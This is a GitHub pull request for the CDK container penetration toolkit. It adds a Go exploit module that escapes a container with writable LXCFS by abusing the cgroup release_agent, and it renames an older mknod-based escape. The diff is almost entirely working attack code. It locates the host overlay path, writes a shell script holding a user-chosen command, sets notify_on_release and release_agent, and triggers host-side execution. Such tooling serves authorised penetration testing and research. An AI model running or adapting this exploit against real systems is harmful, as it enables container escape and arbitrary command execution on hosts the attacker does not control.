Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat(exp): support Exploit lxcfs-rw with cgroup release_agent #61

Merged
merged 2 commits into from
Jul 31, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
207 changes: 207 additions & 0 deletions pkg/exploit/lxcfs_rw_cgroup.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,207 @@
//go:build !no_lxcfs_rw && linux
// +build !no_lxcfs_rw,linux

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package exploit

import (
"fmt"
"io/ioutil"
"log"
"os"
"os/exec"
"path"
"strconv"
"strings"
"time"

"github.com/cdk-team/CDK/pkg/cli"
"github.com/cdk-team/CDK/pkg/plugin"
"github.com/cdk-team/CDK/pkg/util"
)

func FindReleaseAgentSubSystem() string {
var subSystemName string
if cgroupInfos, err := util.GetCgroup(1); err != nil {
return ""
} else {
for _, ci := range cgroupInfos {
if ci.CgroupPath == "/" && ci.CgroupPath != "0::/" {
subSystemName = ci.ControllerLst
break
}
}
}
return subSystemName
}

func findHostPath(mountInfos []util.MountInfo) (hostPath string) {
for _, i := range mountInfos {
if i.Fstype == "overlay" && i.MountPoint == "/" {
for _, j := range i.SuperBlockOptions {
hasUpper := strings.Contains(j, "upperdir=")
if hasUpper {
// found
hostPath = j[9:]
log.Println("Found hostpath: " + hostPath)
break
}
}
}
}
return
}

// IsDir return if the path is a dir
func IsDir(path string) bool {
s, err := os.Stat(path)
if err != nil {
return false
}
return s.IsDir()
}

// FindDir will return the first dir's absolute path in the given path
func FindDir(path string) string {
files, _ := ioutil.ReadDir(path)
for _, f := range files {
if IsDir(f.Name()) {
return path + "/" + f.Name()
}
}
return ""
}

func ExploitLXCFSCgroup() bool {
var targetMountPoint string
var subSystemName string
var releaseAgentPath string
var targetDir string

mountInfos, err := util.GetMountInfo()
if err != nil {
log.Printf("%v", err)
return false
}

for _, mi := range mountInfos {

if findTargetMountPoint(&mi, "") {
targetMountPoint = mi.MountPoint
}
}
if subSystemName = FindReleaseAgentSubSystem(); subSystemName == "" {
log.Printf("find release agent subsystem error")
return false
}

releaseAgentPath = path.Join(targetMountPoint, "cgroup/", subSystemName)
log.Printf("find release agent path %s", releaseAgentPath)
args := cli.Args["<args>"].([]string)
cmd := args[0]

hostPath := findHostPath(mountInfos)
if len(hostPath) == 0 {
log.Printf("can not find host path\n")
return false
}

// generate release_agent shell script and save to local
var taskRandString, expShellText = generateShellExp(hostPath, cmd)
// even in container, you should save to a writable path
var outFile = fmt.Sprintf("/cdk_cgexp_%s.sh", taskRandString)
log.Printf("generate shell exploit with user-input cmd: \n\n%s\n\n", cmd)
fmt.Printf("final shell exploit is: \n\n")
fmt.Println(expShellText)

err = ioutil.WriteFile(outFile, []byte(expShellText), 0777)
if err != nil {
log.Printf("write shell exploit failed\n")
return false
}
log.Printf("shell script saved to %s", outFile)
// create mountpoint
subgroupName := "/x_" + taskRandString

if targetDir = FindDir(releaseAgentPath); targetDir == "" {
log.Printf("no dir in the %s", releaseAgentPath)
return false
}

log.Printf("the target dir is %s", targetDir)
err = os.Mkdir(targetDir+subgroupName, DefaultFolderPerm)
if err != nil {
log.Printf("cannot create subgroup :%s", err)
return false
}

// enable notify_on_release
err = ioutil.WriteFile(targetDir+subgroupName+"/notify_on_release", []byte("1"), 0644)
if err != nil {
log.Printf("cannot enable notify_on_release %s", err)
return false
}
// write release_agent
err = ioutil.WriteFile(releaseAgentPath+"/release_agent", []byte(hostPath+outFile), 0644)
if err != nil {
log.Printf("release_agent is not writable %s", err)
return false
}

// trigger release
// sleep 2s for debug purpose
addProcCmd := exec.Command("/bin/sh", "-c", "sleep 2")
err = addProcCmd.Start()
if err != nil {
// exit code might not be zero, but still succeed
log.Printf("Trigger Release Error: %s \n", err.Error())
return false
}
// write PID to cgroup.procs
err = ioutil.WriteFile(targetDir+subgroupName+"/cgroup.procs", []byte(strconv.Itoa(addProcCmd.Process.Pid)), 0644)
if err != nil {
log.Printf("Write PID to cgroup.procs failed: %s \n", err.Error())
return false
}
// sleep and read result, must use Wait() to avoid zombie process.
addProcCmd.Wait()
time.Sleep(3 * time.Second)
retRes, err := ioutil.ReadFile("/cdk_cgres_" + taskRandString)
if err != nil {
log.Printf("read execution result file error %s", err)
return false
}
log.Printf("Execute Result: \n\n %s \n", string(retRes))
return true
}

type lxcfsRWCgroup struct{}

func (l lxcfsRWCgroup) Desc() string {
return "escape container by cgroup when root has LXCFS read & write privilege, usage: `./cdk run lxcfs-rw-cgroup 'shell-cmd-payloads`"
}

func (l lxcfsRWCgroup) Run() bool {

return ExploitLXCFSCgroup()
}

func init() {
exploit := lxcfsRWCgroup{}
plugin.RegisterExploit("lxcfs-rw-cgroup", exploit)
}
9 changes: 4 additions & 5 deletions pkg/exploit/lxcfs_rw.go → pkg/exploit/lxcfs_rw_mknod.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
//go:build !no_lxcfs_rw
// +build !no_lxcfs_rw

//go:build !no_lxcfs_rw && linux
// +build !no_lxcfs_rw,linux

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .
Expand Down Expand Up @@ -150,7 +149,7 @@ func ExploitLXCFS() bool {
type lxcfsRWS struct{}

func (l lxcfsRWS) Desc() string {
return "escape container when root has LXCFS read & write privilege, usage: `./cdk run lxcfs-rw`"
return "escape container by syscall mknod when root has LXCFS read & write privilege, usage: `./cdk run lxcfs-rw-mknod`"
}

func (l lxcfsRWS) Run() bool {
Expand All @@ -159,5 +158,5 @@ func (l lxcfsRWS) Run() bool {

func init() {
exploit := lxcfsRWS{}
plugin.RegisterExploit("lxcfs-rw", exploit)
plugin.RegisterExploit("lxcfs-rw-mknod", exploit)
}